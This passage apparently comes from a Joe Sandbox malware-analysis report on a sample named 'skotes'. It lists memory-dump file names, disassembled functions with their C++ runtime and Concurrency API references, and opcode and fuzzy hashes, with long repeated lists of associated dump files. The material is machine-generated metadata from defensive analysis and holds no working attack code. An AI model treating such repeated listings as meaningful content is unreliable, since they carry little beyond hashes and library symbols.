Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: bef709b3e6bd73493ddeda3b9004729fd3c37dc4655a6b5fed5bc72ae865e7ed
Instruction ID: 7e4e80aca0c73314aa5b8c65fa8a1b3467ab15677aa88d1a9355aa180bf6ffb6
Opcode Fuzzy Hash: bef709b3e6bd73493ddeda3b9004729fd3c37dc4655a6b5fed5bc72ae865e7ed
Instruction Fuzzy Hash: F3413A79A00214DFCF05EF64C495BADB7B9FF88310F1480AAED599B382DB34A941CB91

Function 00956E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00956ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00956F22
std::_Rethrow_future_exception.LIBCPMT ref: 00956F32
__Mtx_unlock.LIBCPMT ref: 00956FD5
__Mtx_unlock.LIBCPMT ref: 009570DB
__Mtx_unlock.LIBCPMT ref: 00957116

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 963e58b5daa823520ceac4deadea8aa72ad78cba96ba4189a90d090232e54b91
Instruction ID: db8ed7bf9f7cb0feca76158f061bfae8be5eb7201dc31213faaba975b77009e7
Opcode Fuzzy Hash: 963e58b5daa823520ceac4deadea8aa72ad78cba96ba4189a90d090232e54b91
Instruction Fuzzy Hash: 37C1C0B0D047049FDB20DFB6D845BAABBF8AF45312F00452DEC1697691DB35AA4CCB61

Function 009644DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00964538
ListArray.LIBCONCRT ref: 0096456C
Hash.LIBCMT ref: 009645D5
Hash.LIBCMT ref: 009645E5

Part of subcall function 00969C41: std::bad_exception::bad_exception.LIBCMT ref: 00969C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0096474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 009647A4

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: b172b1b87e7ee3cbcac98cf752c6b62b4f82c1f42f91ed31a33635ab0d6da4e2
Instruction ID: 13a0e0f9ac9e52588e4485d05dd43abea9325d38e9a7a70d767cde2d27001721
Opcode Fuzzy Hash: b172b1b87e7ee3cbcac98cf752c6b62b4f82c1f42f91ed31a33635ab0d6da4e2
Instruction Fuzzy Hash: 4D8160B0A11B52FAD708DFB8C845BD9FAA8BF49714F10421AF428D7281DBB4A564CBD1

Function 0095ECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0095ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0095ED17

Part of subcall function 0095F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0095F3FA

__alloca_probe_16.LIBCMT ref: 0095ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0095ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0095EDC6
__freea.LIBCMT ref: 0095EDEC

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: 90562fa0ed5e09182308cec38812ae3b96237377d17c24c6f06f06e20e7db4b1
Instruction ID: abefd2146ea9fbe1db0f994f2c223567051c189de2c2ef28b76bf66658baf618
Opcode Fuzzy Hash: 90562fa0ed5e09182308cec38812ae3b96237377d17c24c6f06f06e20e7db4b1
Instruction Fuzzy Hash: AE31B271A002158FCB19DFA9C8416ADB7F9EF49351F24406EEC45E7390DB359E0ACB94

Function 0095EE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0095EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0095EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0095EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0095EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0095EF31

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 3f09dd94d348b7a3483b9a59caba58af4f4c2be4a78e14bf43b5777291382ab6
Instruction ID: 0882646e1702e7ce099866fca0eb99d1953932dc5251e32f0fb80d100b432a37
Opcode Fuzzy Hash: 3f09dd94d348b7a3483b9a59caba58af4f4c2be4a78e14bf43b5777291382ab6
Instruction Fuzzy Hash: 99217F70C142098ADF39EFA5C8567EEB7F4BF14322F200929E951A61D1EB724B4CCB50

Function 00971B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00971B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00971B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00971C2A

Strings

pContext, xrefs: 00971C22
switchState, xrefs: 00971B5E

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
